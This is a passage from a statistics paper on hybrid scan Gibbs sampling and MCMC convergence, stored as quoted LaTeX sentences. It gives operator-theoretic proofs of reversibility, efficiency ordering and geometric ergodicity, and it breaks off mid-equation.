", "Conditional on $(\\beta,\\sigma^2,y)$, $z_1,\\ldots,z_m$ are independent, and the density of $z_i$ given $(\\beta,\\sigma^2,y)$ is the same as . ", "Also, conditional on $(\\beta,\\sigma^2,y)$, $t_1,\\ldots,t_m$ are independent, and the density of $t_i$ given $(\\beta,\\sigma^2,y)$ is truncated normal. ", "Finally, $\\sigma^2$ given $(\\beta, z, t, y)$ is inverse-gamma, and $\\beta$ given $(\\sigma^2,z,t,y)$ is multivariate normal. ", "Unfortunately, the distribution of $\\sigma^2$ given $(z,t,y)$ is not available in closed form, so that the DA algorithm is not straightforward to apply. ", "Each iteration of the HS Gibbs algorithm proceeds, as usual, by updating (all of) the latent data, and updating either $\\beta$ or $\\sigma^2$, depending on the outcome of the flip of an $r$-coin.", "\n\nLastly, we reiterate that, as far as theoretical convergence rates go, it is now generally accepted that one should, if possible, use a Monte Carlo Markov chain that converges at a geometric rate, or at least a rate fast enough to ensure that the corresponding MCMC estimators are asymptotically normal [see, e.g., @roberts1998markov]. ", "Hence, even if an alternative MCMC algorithm (such as SS or RS Gibbs) appears marginally better than a geometrically ergodic HS Gibbs sampler according to empirical measures, that algorithm should not be favored over the HS Gibbs algorithm *unless* it is known that the alternative has an acceptably fast convergence rate. ", "At present, it appears that the convergence rates of alternative MCMC algorithms for the family of posteriors considered in Section \\[sec:glmm\\] (and, to some extent, those considered in Section \\[sec:smn\\]) are not known. ", "In situations such as these, we recommend HS Gibbs for practical use and remind the reader that it is no more difficult to implement than its SS or RS counterparts.", "\n\n[**Acknowledgment**]{}. ", "The second and fourth authors were supported by NSF Grant DMS-15-11945.", "\n\n[**Appendices**]{}\n\nTheory for the HSS Algorithm {#app:theory}\n============================\n\nWe begin with some requisite background material on Markov operators. ", "In keeping with the notation in the Introduction, the target density, $f_{X,Y}(x,y),$ can be used to define an inner product $$\\langle g_1, g_2 \\rangle_{L^2_0} = \\int_{\\mathsf{X}} \\int_{\\mathsf{Y}}\ng_1(x,y) g_2(x,y) f_{X,Y}(x,y) \\, dy \\, dx \\;,$$ and norm $\\norm{g} = \\sqrt{\\langle g,g \\rangle}$ on the Hilbert space $$L^2_0 = \\left\\{ g: \\mathsf{X} \\times \\mathsf{Y} \\to \\reals :\n\\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} g^2(x,y) f_{X,Y}(x,y) \\, dy \\, dx\n< \\infty \\; \\text{and} \\; \\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} g(x,y)\nf_{X,Y}(x,y) \\, dy \\, dx = 0 \\right\\} \\;.$$ To keep things simple, we assume throughout that $f_{X,Y}(x,y)$ is a density with respect to Lebesgue measure, but we note that the results actually hold much more generally - see, e.g., the set-up in @khare2011spectral. ", "The Mtd $k_1$ corresponds to a Markov operator $K_1: L^2_0 \\to L^2_0$ that takes $g \\in L^2_0$ into $$(K_1 g)(x,y) = \\int_{\\mathsf{X}} g(x',y) k_1(x'|x;y) \\, dx' \\;.$$ Now, if we define $K_2$ using $k_2$ in an analogous way, then it is clear that the Markov operator associated with the HSS algorithm, $K_{\\text{HSS}} : L^2_0 \\to L^2_0,$ is given by $K_{\\text{HSS}} = r\nK_1 + (1-r) K_2$, where $r \\in (0,1)$ is the selection probability. ", "Here is our first result.", "\n\nThe Markov chain underlying the HSS algorithm is reversible.", "\n\nIt suffices to show that $K_{\\text{HSS}}$ is a self-adjoint operator. ", "We start by showing that $K_1$ is self-adjoint. ", "First, it’s easy to see that $f_{X,Y}(x,y) k_1(x'|x;y) = f_{X,Y}(x',y)\nk_1(x|x';y).$ It follows that $$\\begin{aligned}\nf_{X,Y}(x,y)(K_1 g)(x,y) &= f_{X,Y}(x,y) \\int_{\\mathsf{X}} g(x',y)\nk_1(x'|x;y) \\, dx' \\\\ &= \\int_{\\mathsf{X}} g(x',y) f_{X,Y}(x,y)\nk_1(x'|x;y) \\, dx' \\\\ &= \\int_{\\mathsf{X}} g(x',y) f_{X,Y}(x',y)\nk_1(x|x';y) \\, dx'\\end{aligned}$$ Thus, $$\\begin{aligned}\n\\langle K_1 g, h \\rangle_{L^2_0} &= \\int_{\\mathsf{X}}\n\\int_{\\mathsf{Y}} (K_1 g)(x,y) h(x,y) f_{X,Y}(x,y) \\, dy \\, dx \\\\ &=\n\\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} h(x,y) \\left[ \\int_{\\mathsf{X}}\n g(x',y) f_{X,Y}(x',y) k_1(x|x';y) \\, dx' \\right] \\, dy \\, dx \\\\ &=\n\\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} \\left[ \\int_{\\mathsf{X}} h(x,y)\n k_1(x|x';y) \\, dx \\right] g(x',y) f_{X,Y}(x',y) \\, dy \\, dx' \\\\ &=\n\\langle g, K_1 h \\rangle_{L^2_0} \\;,\\end{aligned}$$ where the third equality follows from Fubini’s theorem. ", "Now an analogous argument shows that $K_2$ is self-adjoint, and it follows immediately that $r K_1 + (1-r) K_2$ is also self-adjoint.", "\n\nWe now look more closely at the two criteria for comparing MCMC algorithms that were mentioned in the Introduction: rate of convergence and asymptotic variance. ", "Let $\\Phi =\n\\{(X_n,Y_n)\\}_{n=0}^{\\infty}$ denote a generic Markov chain on $\\mathsf{X} \\times \\mathsf{Y}$ that is reversible with respect to $f_{X,Y}$. Assume further that $\\Phi$ is Harris ergodic; that is, aperiodic, irreducible and Harris recurrent. ", "Let $K$ denote the corresponding Markov operator on $L^2_0$. Let $L^2_{0,1} \\subset\nL^2_0$ denote the functions for which $$\\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} g^2(x,y) f_{X,Y}(x,y) \\, dy \\, dx\n= 1 \\;.$$ The norm of the operator $K$ is defined as $$\\norm{K} = \\sup_{g \\in L^2_{0,1}} \\norm{K g} \\;.$$ (Since $K$ is self-adjoint, we also have $\\norm{K} = \\sup_{g \\in\n L^2_{0,1}} |\\langle K g , g \\rangle_{L^2_0}|$.) The quantity $\\norm{K},$ which takes values in $[0,1]$, represents the convergence rate of $\\Phi,$ with smaller values associated with faster convergence. ", "In fact, $\\Phi$ is geometrically ergodic if and only if $\\norm{K} < 1$ [@roberts1997geometric]. ", "One way to choose between two MCMC algorithms for the same problem is to favor the one whose Markov operator has smaller norm.", "\n\nNow let $g : \\mathsf{X} \\times \\mathsf{Y} \\to \\reals$ be (non-constant and) such that $$\\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} g^2(x,y) f_{X,Y}(x,y) \\, dy \\, dx\n< \\infty \\;.$$ Let $\\theta = \\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} g(x,y) f_{X,Y}(x,y)\n\\, dy \\, dx$, and let $\\overline{g}_n = \\frac{1}{n} \\sum_{i=0}^{n-1}\ng(X_n,Y_n)$. If $\\Phi$ is geometrically ergodic, then the Markov chain CLT implies that there exists $\\sigma^2_{g,K} \\in (0,\\infty)$ such that, as $n \\to \\infty,$ $\\sqrt{n} (\\overline{g}_n - \\theta)\n\\cvgindist \\text{N}(0,\\sigma^2_{g,K}).$ If $g$ is square integrable with respect to $f_{X,Y},$ but the CLT does not hold, then set $\\sigma^2_{g,K} = \\infty.$ Suppose $\\Phi^*$ is a second Markov chain (with corresponding operator $K^*$) that satisfies all the properties we have assumed $\\Phi$ satisfies. ", "If $\\sigma^2_{g,K^*} <\n\\sigma^2_{g,K}$ for all square integrable $g,$ then we say that $K^*$ is more efficient than $K,$ and we write $K^* \\succeq_E K$.\n\nBefore we can state the main result, we must define a few more operators. ", "First, let $\\hat{L}^2_0$ denote the space of functions that are square integrable and have mean zero with respect to $f_{Y,Z}(y,z).$ We denote the inner product on this space by $\\langle\n\\cdot, \\cdot \\rangle_{\\hat{L}^2_0}.$ The Mtf $R_1(z,dz';y)$ defines an operator $R_1 : \\hat{L}^2_0 \\to \\hat{L}^2_0$ that takes $h \\in\n\\hat{L}^2_0$ to $$(R_1 h)(y,z) = \\int_{\\mathsf{Z}} h(y,z')\nR_1(z,dz';y) \\;.$$ It follows immediately from   that $R_1$ is self-adjoint (with respect to $f_{Y,Z}$). ", "Of course, $R_1$ is a positive operator if $\\langle R_1 h, h\n\\rangle_{\\hat{L}^2_0} \\geq 0$ for all $h \\in \\hat{L}^2_0.$ Let $R_2$ denote the analogous operator corresponding to the Mtf $R_2$, and let $K_{\\text{HS}}$ denote the Markov operator (on $L^2_0$) corresponding to the HS Gibbs sampler.", "\n\n\\[prop:main\\_comp\\] Suppose the Markov chains associated with $K_{\\text{HSS}}$ and $K_{\\text{HS}}$ are both Harris ergodic. ", "Then $K_{\\text{HSS}}\n \\succeq K_{\\text{HS}}$. If, in addition, $R_1$ and $R_2$ are both positive operators, then $\\norm{K_{\\text{HSS}}} \\leq\n \\norm{K_{\\text{HS}}}.$\n\nFix $g \\in L^2_0$ and define $$g^*(y,z) = \\int_{\\mathsf{X}} g(x,y)\nf_{X|Y,Z}(x|y,z) \\, dx \\;.$$ It’s easy to see that $g^* \\in\n\\hat{L}^2_0.$ Now $$\\begin{aligned}\n&\\langle K_1 g , g \\rangle_{L^2_0} \\nonumber \\\\ &= \\int_{\\mathsf{X}}\n \\int_{\\mathsf{Y}} (K_1 g)(x,y) g(x,y) f_{X,Y}(x,y) \\, dy \\, dx\n \\nonumber \\\\ &= \\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} \\left[\n \\int_{\\mathsf{X}} g(x',y) \\int_{\\mathsf{Z}} \\int_{\\mathsf{Z}}\n f_{X|Y,Z}(x'|y,z') R_1(z,dz';y) f_{Z|X,Y}(z|x,y) \\, dz \\, dx'\n \\right] g(x,y) f_{X,Y}(x,y) \\, dy \\, dx \\nonumber \\\\ &=\n \\int_{\\mathsf{X}} \\int_{\\mathsf{Y}} \\int_{\\mathsf{X}}\n \\int_{\\mathsf{Z}} \\int_{\\mathsf{Z}} g(x',y) f_{X|Y,Z}(x'|y,z')\n R_1(z,dz';y) f_{Z|X,Y}(z|x,y) g(x,y) f_{X,Y}(x,y) \\, dz \\, dx' \\, dy\n \\, dx \\nonumber \\\\ &= \\int_{\\mathsf{Y}} \\int_{\\mathsf{Z}} \\left[\n \\int_{\\mathsf{Z}} g^*(y,z') R_1(z,dz';y) \\right] g^*(y,z)\n f_{Y,Z}(y,z) \\, dy \\, dz \\nonumber \\\\ &= \\langle R_1 g^*, g^*\n \\rangle_{\\hat{L}^2_0} \\;.", "\n\\label{eq:cov}\\end{aligned}$$ Note that $\\langle R_1 g^*, g^* \\rangle_{\\hat{L}^2_0}$ is the covariance of $g^*(Y_0,Z_0)$ and $g^*(Y_1,Z_1)$ where ${(Y_n,Z_n)}_{n=0}^{\\infty}$ is the *stationary* version of the Markov chain driven by $R_1$ (so $(Y_0,Z_0) \\sim f_{Y,Z}$). ", "Let $\\tilde{K}_1$ denote $K_1$ when $R_1$ is trivial. ", "Then $\\langle\n\\tilde{K}_1 g , g \\rangle_{L^2_0} = \\langle g^*, g^*\n\\rangle_{\\hat{L}^2_0},$ which is the variance of $g^*(Y_0,Z_0)$ when $(Y_0,Z_0) \\sim f_{Y,Z}.$ Hence by Cauchy-Schwarz, $$\\langle K_1 g , g\n\\rangle_{L^2_0} = \\langle R_1 g^*, g^* \\rangle_{\\hat{L}^2_0} \\leq\n\\langle g^*, g^* \\rangle_{\\hat{L}^2_0} = \\langle \\tilde{K}_1 g , g\n\\rangle_{L^2_0} \\;.$$ An analogous argument shows that $\\langle K_2 g\n, g \\rangle_{L^2_0} \\leq \\langle \\tilde{K}_2 g , g \\rangle_{L^2_0},$ where $\\tilde{K}_2$ denotes $K_2$ with a trivial $R_2$. Of course, $K_{\\text{HS}} = r \\tilde{K}_1 + (1-r) \\tilde{K}_2$. Therefore, for any $g \\in L^2_0,$ we have $$\\label{dsinequality}\n\\langle K_{\\text{HSS}} g , g \\rangle_{L^2_0} = \\langle (r K_1 + (1-r)\nK_2) g , g \\rangle_{L^2_0} \\leq \\langle (r \\tilde{K}_1 + (1-r)\n\\tilde{K}_2) g , g \\rangle_{L^2_0} = \\langle K_{\\text{HS}} g , g\n\\rangle_{L^2_0} \\;,$$ and it now follows from results in @mira1999ordering that $K_{\\text{HSS}} \\succeq_E K_{\\text{HS}}$.\n\nNow, if $R_1$ is positive, then it follows immediately from   that $K_1$ is also positive. ", "Of course, in an analogous manner, positivity of $R_2$ implies that of $K_2.$ Then since $K_{\\text{HSS}}$ and $K_{\\text{HS}}$ are both self-adjoint, it follows from that $\\norm{K_{\\text{HSS}}} \\leq\n\\norm{K_{\\text{HS}}}$.\n\nAs explained in @mira1999ordering, generally fast convergence and small asymptotic variance are conflicting goals. ", "Indeed, a Markov chain has a small norm when the spectrum of its operator is concentrated near zero, whereas small asymptotic variance is associated with a spectrum that is concentrated near -1. ", "When $R_1$ and $R_2$ are both positive operators, then $K_{\\text{HSS}}$ and $K_{\\text{HS}}$ are also positive, which implies that their spectra are both subsets of $[0,1]$. In this context, fast convergence and small asymptotic variance are both associated with a spectrum concentrated near zero, and are no longer conflicting goals.", "\n\nProof of Theorem \\[thm:smn\\] {#app:proof}\n============================\n\nWe begin with several lemmas. ", "The following lemma is proved in @khare2011spectral.", "\n\n\\[lemma:kh\\] Fix $m \\in \\{2,3,\\ldots\\}$ and $p \\in \\mathbb{N},$ and let $t_1,\\ldots,t_m$ be vectors in $\\reals^p.$ Then $$C_{p,m}(t_1 ; t_2, \\ldots, t_m) := \\sup_{c \\in \\reals^m_+} t_1^T\n\\left( t_1 t_1^T + \\sum_{i=2}^m c_i t_i t_i^T + c_1 I \\right)^{-2}\nt_1$$ is finite.", "\n\nFor a symmetric matrix $M$, let $\\lambda^*\\{M\\}$ denote the largest eigenvalue of $M$, and define the matrix norm as follows $$\\norm{M} = \\sup_{\\norm{x}=1} \\norm{Mx} = \\sup_{\\norm{x}=1} \\sqrt{x^T\n M^2 x} \\;.$$ The following result is easily established.", "\n\n\\[lemma:matrix\\] If $A$ is a symmetric, non-negative definite matrix, then $$\\norm{(I + A)^{-1}} = \\lambda^* \\big\\{ (I + A)^{-1} \\big\\} \\le 1 \\;,$$ and $I - (I + A)^{-1}$ is non-negative definite.", "\n\nLet $\\{y_i\\}_{i=1}^m$ and $\\{x_i\\}_{i=1}^m$ be the data and the covariates, respectively, from the model in Section \\[sec:smn\\].", "\n\n\\[lemma:drift\\] Define $V: \\mathbb{R}^p \\times \\mathbb{R}_+ \\rightarrow (0,\\infty)$ as follows $$V(\\beta, \\sigma^2) = \\sum_{i=1}^m (y_i - x_i^T \\beta)^2 + \\beta^T\n\\Sigma^{-1} \\beta + \\sigma^2 + \\frac{1}{\\sigma^2} \\;.$$ The function $V$ is unbounded off compact sets, i.e., the sublevel sets of $V$ are compact.", "\n\nWe must show that for every $d \\ge 0$, the set $$S_d = \\bigg \\{ (\\beta,\\sigma^2) \\in \\reals^p \\times \\reals_+ :\nV(\\beta, \\sigma^2) = \\sum_{i=1}^m (y_i - x_i^T \\beta)^2 + \\beta^T\n\\Sigma^{-1} \\beta + \\sigma^2 + \\frac{1}{\\sigma^2} \\le d \\bigg\\}$$ is compact. ", "Since $V$ is continuous, it suffices to show that $|\\beta_i|$ is bounded for all $i \\in \\{1,2,\\ldots,p\\}$ and that $\\sigma^2$ is bounded away from $0$ and $\\infty.$ Since $\\Sigma$ is positive definite, $\\beta^T \\Sigma^{-1} \\beta \\le d$ implies that $|\\beta_i|$ is bounded for all $i \\in \\{1,2,\\ldots,p\\}.$ Also, $\\sigma^2 + \\frac{1}{\\sigma^2} \\le d$ implies that $\\sigma^2$ is bounded away from $0$ and $\\infty$.\n\n\\[lemma:hybridge\\] If the hybrid scan Gibbs sampler is geometrically ergodic for some selection probability $r^* \\in (0,1),$ then it is geometrically ergodic for every selection probability $r \\in (0,1)$.\n\nThe Mtf of the HS chain (with selection probability $r$) is given by $$\\begin{aligned}\nK_{\\text{HS, $r$}}((x,y),A) &= r \\int_{\\mathsf{X}} I_A(x',y)\n\\int_{\\mathsf{Z}} f_{X|Y,Z}(x'|y,z) f_{Z|X,Y}(z|x,y) \\, dz \\, dx'\n\\\\ &+ (1-r) \\int_{\\mathsf{Y}} I_A(x,y') \\int_{\\mathsf{Z}}\nf_{Y|X,Z}(y'|x,z) f_{Z|X,Y}(z|x,y) \\, dz \\, dy'.\\end{aligned}$$ It is easy to show that $$K_{\\text{HS, $r$}}((x,y),A) \\geq \\text{min} \\left( \\frac{r}{r^*},\n\\frac{1-r}{1-r^*} \\right) K_{\\text{HS, $r^*$}}((x,y),A) \\;,$$ and thus $$K_{\\text{HS, $r$}}((x,y),A) \\geq \\delta' K_{\\text{HS, $r^*$}}((x,y),A)$$ for all measurable sets $A$ and all $(x,y) \\in \\mathsf{X} \\times\n\\mathsf{Y}$, where $\\delta' = \\text{min} \\left( \\frac{r}{r^*},\n\\frac{1-r}{1-r^*} \\right) > 0$. Since the HS chain is reversible, Theorem 1 in @jones2014convergence implies the result.", "\n\nIn view of Lemma \\[lemma:drift\\] above and Lemma 15.2.8 of @meyn2012markov, in each case it suffices to verify the geometric drift condition for the function $$V(\\beta, \\sigma^2) = \\sum_{i=1}^m (y_i - x_i^T \\beta)^2 + \\beta^T\n\\Sigma^{-1} \\beta + \\sigma^2 + \\frac{1}{\\sigma^2} \\;,$$ i.e., we must show that $$E(V(\\beta, \\sigma^2) | \\hat{\\beta}, \\hat{\\sigma}^2) \\le \\lambda\nV(\\hat{\\beta}, \\hat{\\sigma}^2) + L$$ for some constants $\\lambda \\in [0,1)$ and $L \\in \\reals$, where for part (i) of the theorem the expectation is taken with respect to the Mtf of the SS Gibbs chain, and for part (ii) of the theorem the expectation is taken with respect to the Mtf of the HS chain. ", "We begin with the SS Gibbs algorithm. ", "$$\\begin{aligned}\nE(V(\\beta, \\sigma^2) | \\hat{\\beta}, \\hat{\\sigma}^2) & =\n\\int_{\\reals_+} \\int_{\\reals^p} V(\\beta, \\sigma^2) \\bigg[\n \\int_{\\reals^m_+} \\pi(\\beta | \\sigma^2, z, y) \\pi(\\sigma^2 |\n \\hat{\\beta}, z, y) \\pi(z| \\hat{\\beta}, \\hat{\\sigma}^2, y) \\, dz\n \\bigg] \\, d\\beta \\, d\\sigma^2 \\\\ &= \\int_{\\reals^m_+} \\left[\n \\int_{\\reals_+} \\left\\{ \\int_{\\reals^p} V(\\beta, \\sigma^2) \\pi(\\beta\n | \\sigma^2, z, y) \\, d\\beta \\right\\} \\pi(\\sigma^2 | \\hat{\\beta}, z,\n y) \\, d\\sigma^2 \\right] \\pi(z| \\hat{\\beta}, \\hat{\\sigma}^2, y) \\,\ndz.\\end{aligned}$$ We have $$\\begin{aligned}\n\\sum_{i=1}^m (y_i - x_i^T \\beta)^2 + \\beta^T \\Sigma^{-1} \\beta &=\n\\norm{y-X\\beta}^2 + \\beta^T \\Sigma^{-1} \\beta \\\\ &\\leq 2\\norm{y}^2 +\n2\\norm{X\\beta}^2 + \\beta^T \\Sigma^{-1} \\beta \\\\ &= 2\\norm{y}^2 +\n2\\norm{X \\Sigma^{\\frac{1}{2}} \\Sigma^{-\\frac{1}{2}} \\beta}^2 + \\beta^T\n\\Sigma^{-1} \\beta \\\\ &\\leq 2\\norm{y}^2 + (2 \\norm{X\n \\Sigma^{\\frac{1}{2}}}^2 + 1) \\norm{\\Sigma^{-\\frac{1}{2}} \\beta}^2.\\end{aligned}$$ Let $\\tilde{X} = X\\Sigma^{\\frac{1}{2}},$ let $\\tilde{x}_i$ be the $i$th column of $\\tilde{X}^T,$ and let $\\tilde{Q}$ be an $m \\times m$ diagonal matrix whose $i$th diagonal element is $\\sigma^2 z_i^{-1}$. Then, given $(\\sigma^2,z,y),$ $\\Sigma^{-\\frac{1}{2}} \\beta$ is a multivariate normal random vector with mean $(\\tilde{X}^T\n\\tilde{Q}^{-1} \\tilde{X} + I)^{-1} (\\tilde{X}^T \\tilde{Q}^{-1} y +\n\\Sigma^{-\\frac{1}{2}} \\mu)$, and covariance matrix $(\\tilde{X}^T\n\\tilde{Q}^{-1} \\tilde{X} + I)^{-1}.$ It follows from Lemma \\[lemma:kh\\] that for each $i \\in \\{1,2,\\ldots,m\\}$ and for all $z \\in \\reals^m_+$, $$\\tilde{x}_i^T \\left( \\tilde{x}_i \\tilde{x}_i^T + \\sum_{j \\neq i}\n\\frac{z_j}{z_i} \\tilde{x}_j \\tilde{x}_j^T + \\frac{\\sigma^2}{z_i} I\n\\right)^{-2} \\tilde{x}_i \\leq C_i(\\tilde{X}) \\;,$$ where $C_i(\\tilde{X})$ is a finite constant. ", "Recall that if $A$ and $B$ are symmetric matrices of the same dimension such that $A - B$ is non-negative definite, then $\\text{tr}(A) \\geq \\text{tr}(B).$ Then, we have $$\\begin{aligned}\n&E\\left[ \\norm{\\Sigma^{-\\frac{1}{2}} \\beta}^2 \\Bigm| \\sigma^2, z, y\n \\right] \\\\ &= \\norm{(\\tilde{X}^T \\tilde{Q}^{-1} \\tilde{X} +\n I)^{-1} (\\tilde{X}^T \\tilde{Q}^{-1} y + \\Sigma^{-\\frac{1}{2}}\n \\mu)}^2 + \\text{tr}((\\tilde{X}^T \\tilde{Q}^{-1} \\tilde{X} +\n I)^{-1}) \\\\ &\\leq 2 \\norm{(\\tilde{X}^T \\tilde{Q}^{-1} \\tilde{X} +\n I)^{-1} \\tilde{X}^T \\tilde{Q}^{-1} y}^2 + 2 \\norm{(\\tilde{X}^T\n \\tilde{Q}^{-1} \\tilde{X} + I)^{-1} \\Sigma^{-\\frac{1}{2}} \\mu}^2 +\n \\text{tr}((\\tilde{X}^T \\tilde{Q}^{-1} \\tilde{X} + I)^{-1}) \\\\ &\\leq\n 2 \\norm{(\\tilde{X}^T \\tilde{Q}^{-1} \\tilde{X} + I)^{-1} \\tilde{X}^T\n \\tilde{Q}^{-1} y}^2 + 2\\norm{(\\tilde{X}^T \\tilde{Q}^{-1} \\tilde{X}\n + I)^{-1}}^2 \\norm{\\Sigma^{-\\frac{1}{2}} \\mu}^2 +\n \\text{tr}((\\tilde{X}^T \\tilde{Q}^{-1} \\tilde{X} + I)^{-1}) \\\\ &\\leq\n 2 \\norm{(\\tilde{X}^T \\tilde{Q}^{-1} \\tilde{X} + I)^{-1} \\tilde{X}^T\n \\tilde{Q}^{-1} y}^2 + 2\\norm{\\Sigma^{-\\frac{1}{2}} \\mu}^2 +\n \\text{tr}(I) \\\\ &= 2 \\left\\Vert\\sum_{i=1}^m \\left( \\sum_{j=1}^m\n \\frac{z_j \\tilde{x}_j \\tilde{x}_j^T}{\\sigma^2} + I \\right)^{-1}\n \\frac{z_i \\tilde{x}_i y_i}{\\sigma^2}\\right\\Vert^2 +\n 2\\norm{\\Sigma^{-\\frac{1}{2}} \\mu}^2 + p \\\\ & \\leq 2 \\left(\n \\sum_{i=1}^m \\left\\Vert\\left( \\frac{z_i \\tilde{x}_i\n \\tilde{x}_i^T}{\\sigma^2} + \\sum_{j \\neq i} \\frac{z_j \\tilde{x}_j\n \\tilde{x}_j^T}{\\sigma^2} + I \\right)^{-1} \\frac{z_i \\tilde{x}_i\n y_i}{\\sigma^2}\\right\\Vert \\right)^2 + 2\\norm{\\Sigma^{-\\frac{1}{2}}\n \\mu}^2 + p \\\\ &= 2 \\left( \\sum_{i=1}^m |y_i| \\left\\Vert \\left(\n \\tilde{x}_i \\tilde{x}_i^T + \\sum_{j \\neq i} \\frac{z_j}{z_i}\n \\tilde{x}_j \\tilde{x}_j^T + \\frac{\\sigma^2}{z_i} I \\right)^{-1}\n \\tilde{x}_i \\right\\Vert \\right)^2 + 2\\norm{\\Sigma^{-\\frac{1}{2}}\n \\mu}^2 + p \\\\ &= 2 \\left( \\sum_{i=1}^m |y_i| \\sqrt{\\tilde{x}_i^T\n \\left( \\tilde{x}_i \\tilde{x}_i^T + \\sum_{j \\neq i} \\frac{z_j}{z_i}\n \\tilde{x}_j \\tilde{x}_j^T + \\frac{\\sigma^2}{z_i} I \\right)^{-2}\n \\tilde{x}_i} \\right)^2 + 2\\norm{\\Sigma^{-\\frac{1}{2}} \\mu}^2 + p\n \\\\ &\\leq 2 \\left( \\sum_{i=1}^m |y_i| \\sqrt{C_i(\\tilde{X})} \\right)^2\n + 2\\norm{\\Sigma^{-\\frac{1}{2}} \\mu}^2 + p,\\end{aligned}$$ where the third inequality follows from Lemma \\[lemma:matrix\\]. ", "Therefore, $E\\left[ \\norm{\\Sigma^{-\\frac{1}{2}} \\beta}^2 \\Bigm|\n \\sigma^2, z, y \\right]$ is bounded above by a finite constant that we will call $D$. Therefore, we have $$\\label{eq:t1p1}\n \\int_{\\reals^p} \\bigg[ \\sum_{i=1}^m (y_i - x_i^T \\beta)^2 + \\beta^T\n \\Sigma^{-1} \\beta \\bigg] \\pi(\\beta | \\sigma^2, z, y) \\, d\\beta \\le\n 2\\norm{y}^2 + D \\big( 2 \\norm{X \\Sigma^{\\frac{1}{2}}}^2 + 1 \\big)\n \\;.$$ Now, recall that $\\sigma^2 | \\beta, z, y \\sim \\mbox{IG} \\Big(\n\\frac{m}{2} + \\alpha, \\frac{(y-X\\beta)^T Q^{-1} (y-X\\beta) +\n 2\\gamma}{2} \\Big)$. It follows that $$\\label{eq:t1p2}\n E\\big[ (\\sigma^2)^{-1} | \\hat{\\beta},z,y \\big] =\n \\frac{m+2\\alpha}{(y-X\\hat{\\beta})^T Q^{-1} (y-X\\hat{\\beta}) +\n 2\\gamma} = \\frac{m+2\\alpha}{\\sum_{i=1}^n z_i (y_i - x_i^T\n \\hat{\\beta})^2 + 2\\gamma} \\leq \\frac{m+2\\alpha}{2\\gamma} \\;.$$ And since $\\frac{m}{2} + \\alpha > 1$, we have $$E(\\sigma^2 | \\hat{\\beta},z,y) = \\frac{(y-X\\hat{\\beta})^T Q^{-1}\n (y-X\\hat{\\beta}) + 2\\gamma}{m+2\\alpha-2} = \\frac{\\sum_{i=1}^m z_i\n (y_i - x_i^T \\hat{\\beta})^2 + 2\\gamma}{m+2\\alpha-2} \\;.$$ Our assumption then implies that $$\\label{eq:t1p3}\n\\int_{\\reals^m_+} \\left[ \\int_{\\reals_+} \\sigma^2 \\pi(\\sigma^2 |\n \\hat{\\beta}, z, y) \\, d\\sigma^2 \\right] \\pi(z| \\hat{\\beta},\n\\hat{\\sigma}^2, y) \\, dz \\le \\frac{2\\gamma}{m+2\\alpha-2} + \\psi_1\nV(\\hat{\\beta},\\hat{\\sigma}^2) + L_1 \\;,$$ where $\\psi_1 \\in [0,1)$ and $L_1 \\in \\mathbb{R}$. Combining ,  , and   we have $$E(V(\\beta, \\sigma^2) | \\hat{\\beta}, \\hat{\\sigma}^2) \\le \\psi_1\n V(\\hat{\\beta},\\hat{\\sigma}^2) + C \\;,$$ where $$C = 2\\norm{y}^2 + D \\big( 2 \\norm{X \\Sigma^{\\frac{1}{2}}}^2 + 1 \\big)\n+ \\frac{m+2\\alpha}{2\\gamma} + \\frac{2\\gamma}{m+2\\alpha-2} + L_1 \\;,$$ and hence the SS Gibbs Markov chain is geometrically ergodic.", "\n\nNow for the HS algorithm, we have $$\\begin{aligned}\nE(V(\\beta, \\sigma^2) | \\hat{\\beta}, \\hat{\\sigma}^2) = r\n\\int_{\\reals^m_+} \\int_{\\reals_+} & V(\\hat{\\beta}, \\sigma^2)\n\\pi(\\sigma^2 | \\hat{\\beta}, z, y) \\pi(z| \\hat{\\beta}, \\hat{\\sigma}^2,\ny) \\, d\\sigma^2 \\, dz \\\\ & + (1-r) \\int_{\\reals^m_+} \\int_{\\reals^p}\nV(\\beta, \\hat{\\sigma}^2) \\pi(\\beta | \\hat{\\sigma}^2, z, y) \\pi(z|\n\\hat{\\beta}, \\hat{\\sigma}^2, y) \\, d\\beta \\, dz \\;.\\end{aligned}$$ Equation  implies that $$\\begin{aligned}\n\\int_{\\reals^m_+} \\int_{\\reals^p} V(\\beta, \\hat{\\sigma}^2) \\pi(\\beta |\n\\hat{\\sigma}^2, z, y) & \\pi(z| \\hat{\\beta}, \\hat{\\sigma}^2, y) \\,\nd\\beta \\, dz \\\\ & \\le 2\\norm{y}^2 + D \\big( 2 \\norm{X\n \\Sigma^{\\frac{1}{2}}}^2 + 1 \\big) + \\hat{\\sigma}^2 +\n\\frac{1}{\\hat{\\sigma}^2} \\;.\\end{aligned}$$ Equations  and   imply that $$\\begin{aligned}\n\\int_{\\reals^m_+} \\int_{\\reals_+} & V(\\hat{\\beta}, \\sigma^2)\n\\pi(\\sigma^2 | \\hat{\\beta}, z, y) \\pi(z| \\hat{\\beta}, \\hat{\\sigma}^2,\ny) \\, d\\sigma^2 \\, dz \\le \\sum_{i=1}^m (y_i - x_i^T \\hat{\\beta})^2 +\n\\hat{\\beta}^T \\Sigma^{-1} \\hat{\\beta} \\; + \\\\ &\n\\frac{m+2\\alpha}{2\\gamma} + \\frac{2\\gamma}{m+2\\alpha-2} +\n\\frac{1}{m+2\\alpha-2} \\sum_{i=1}^m (y_i - x_i^T \\hat{\\beta})^2\n\\int_{\\reals_+} z_i \\, \\pi(z_i| \\hat{\\beta}, \\hat{\\sigma}^2, y) \\,\ndz_i \\;.\\end{aligned}$$ By assumption, we have $\\psi_2 \\in \\mathbb{R}_+$, $\\psi_3 \\in [0,1)$ and $L_2 \\in \\mathbb{R}$ such that $$\\begin{aligned}\n\\int_{\\reals^m_+} \\int_{\\reals_+} & V(\\hat{\\beta}, \\sigma^2)\n\\pi(\\sigma^2 | \\hat{\\beta}, z, y) \\pi(z| \\hat{\\beta}, \\hat{\\sigma}^2,\ny) \\, d\\sigma^2 \\, dz \\le \\sum_{i=1}^m (y_i - x_i^T \\hat{\\beta})^2 +\n\\hat{\\beta}^T \\Sigma^{-1} \\hat{\\beta} \\; + \\\\ &\n\\frac{m+2\\alpha}{2\\gamma} + \\frac{2\\gamma}{m+2\\alpha-2} + 